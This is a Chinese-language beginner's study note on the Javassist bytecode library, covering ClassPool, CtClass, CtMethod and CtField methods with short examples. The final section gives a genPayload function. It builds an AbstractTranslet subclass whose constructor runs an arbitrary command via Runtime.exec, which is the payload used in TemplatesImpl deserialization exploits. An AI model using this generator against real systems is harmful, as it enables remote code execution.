【Java】小白友好的Javassist源代码级别常用API学习笔记

介绍

Javassist&ASM?

Javassist关键类

常用方法

setSuperclass in Javassist

constructor in Javassist

toBytecode in Javassist

Javassist实现TemplatesImpl恶意字节码生成方法

介绍

pom依赖

<dependency>
    <groupId>org.javassist</groupId>
    <artifactId>javassist</artifactId>
    <version>3.29.2-GA</version>
</dependency>

Javassist使Java字节码操作变得简单，它是一个用于在Java中编辑字节码的类库
它使Java程序能够在运行时定义一个新类，并在JVM加载类文件时对其进行修改
与其他类似的字节码编辑器不同，Javassist提供了两个级别的API：源代码级别和字节码级别

如果用户使用源代码级API，他们可以在不了解Java字节码规范的情况下编辑类文件。整个API仅使用Java语言的词汇设计。甚至可以以源代码的形式指定插入的字节码，Javassist会即时地进行编译
另一方面，字节码级API允许用户像其他编辑器一样直接编辑类文件

Javassist&ASM?

javassist的主要优点是简单，使用javassist不需要了解class文件结构，也不需要了解字节码指令，就能动态改变类的结构或生成类，但这同时也是缺点，这种简单带来了局限性，也导致性能降低。
而ASM恰好与之相反，使用ASM需要了解底层，对使用者有一定的门槛，但ASM没有局限，我们完全可以使用ASM编写任意一个能用JAVA代码编写的类。

Javassist关键类

①ClassPool: 一个基于Hashtable实现的CtClass对象容器, 其中键是类名称, 值是表示该类的CtClass对象
②CtClass: CtClass表示类, 一个CtClass(编译时类)对象可以处理一个class文件, 这些CtClass对象可以从ClassPool获得
③CtMethods: 表示类中的方法
④CtFields: 表示类中的字段

常用方法

ClassPool 的常用方法

getDefault(): 获取默认的 ClassPool 对象。
makeClass(String classname): 创建一个新的 CtClass 对象。
get(String classname): 根据类名获取现有的 CtClass 对象。

import javassist.ClassPool;
import javassist.CtClass;

ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.makeClass("com.example.NewClass");
CtClass existingClass = classPool.get("com.example.ExistingClass");

CtClass 的常用方法

addMethod(CtMethod method): 添加一个新的 CtMethod 对象。
addField(CtField field): 添加一个新的 CtField 对象。
toClass(): 将 CtClass 转换为实际的 Class 对象。
writeFile(): 将 CtClass 写入磁盘文件。

import javassist.CtClass;
import javassist.CtMethod;
import javassist.CtField;

CtClass ctClass = classPool.makeClass("com.example.NewClass");
CtMethod newMethod = CtMethod.make("public void newMethod() { System.out.println(\"New Method\"); }", ctClass);
ctClass.addMethod(newMethod);
CtField newField = new CtField(CtClass.intType, "newField", ctClass);
ctClass.addField(newField);
Class<?> clazz = ctClass.toClass();
ctClass.writeFile("/path/to/output/directory");

CtMethod 的常用方法

make(String src, CtClass declaring): 根据源代码和声明类创建一个新的 CtMethod 对象。
getReturnType(): 获取方法的返回类型。
getParameterTypes(): 获取方法的参数类型。
getMethodBody(): 获取方法体（代码块）。
insertBefore(String src): 在方法体之前插入代码。
insertAfter(String src): 在方法体之后插入代码。

import javassist.CtMethod;

CtMethod existingMethod = ctClass.getDeclaredMethod("existingMethod");
CtMethod newMethod = CtMethod.make("public void newMethod() { System.out.println(\"New Method\"); }", ctClass);
String returnType = existingMethod.getReturnType().getName();
CtClass[] parameterTypes = existingMethod.getParameterTypes();
String methodBody = existingMethod.getMethodBody();
existingMethod.insertBefore("System.out.println(\"Before method\");");
existingMethod.insertAfter("System.out.println(\"After method\");");

CtField 的常用方法

make(CtClass type, String name, CtClass declaring): 根据类型、字段名和声明类创建一个新的 CtField 对象。
getType(): 获取字段的类型。
getModifiers(): 获取字段的修饰符。
setModifiers(int modifiers): 设置字段的修饰符。
getDeclaringClass(): 获取声明该字段的类。

import javassist.CtField;

CtField existingField = ctClass.getField("existingField");
CtField newField = CtField.make("private int newField;", ctClass);
CtClass fieldType = existingField.getType();
int modifiers = existingField.getModifiers();
existingField.setModifiers(Modifier.PRIVATE);
CtClass declaringClass = existingField.getDeclaringClass();

补充

setSuperclass in Javassist

在 Javassist 中，setSuperclass() 方法用于设置一个类的父类。通过 setSuperclass() 方法，可以将一个类指定为另一个类的子类，从而继承父类的属性和方法。

ClassPool classPool = ClassPool.getDefault();
CtClass superClass = classPool.get("com.example.SuperClass");

CtClass subClass = classPool.makeClass("com.example.SubClass");
subClass.setSuperclass(superClass);

constructor in Javassist

constructor 是 Javassist 中用于表示构造函数的对象。通过 constructor，可以获取构造函数的参数信息、方法体等，并进行相应的操作，如修改构造函数的行为或生成新的构造函数

CtConstructor superConstructor = superClass.getDeclaredConstructors()[0]; // 获取第一个构造函数
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);

toBytecode in Javassist

toBytecode() 方法用于将构造函数、方法等转换为字节码形式。通过 toBytecode() 方法，可以获取构造函数的字节码表示，进而进行进一步的分析、修改或生成新的构造函数

byte[] bytecode = superConstructor.toBytecode();
System.out.println(new String(bytecode));

Javassist实现TemplatesImpl恶意字节码生成方法

public static byte[] genPayload(String cmd) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.makeClass("a");
        CtClass superClass = pool.get(AbstractTranslet.class.getName());
        clazz.setSuperclass(superClass);
        CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
        constructor.setBody("Runtime.getRuntime().exec(\"" + cmd + "\");");
        clazz.addConstructor(constructor);
        clazz.getClassFile().setMajorVersion(49);
        return clazz.toBytecode();
    }

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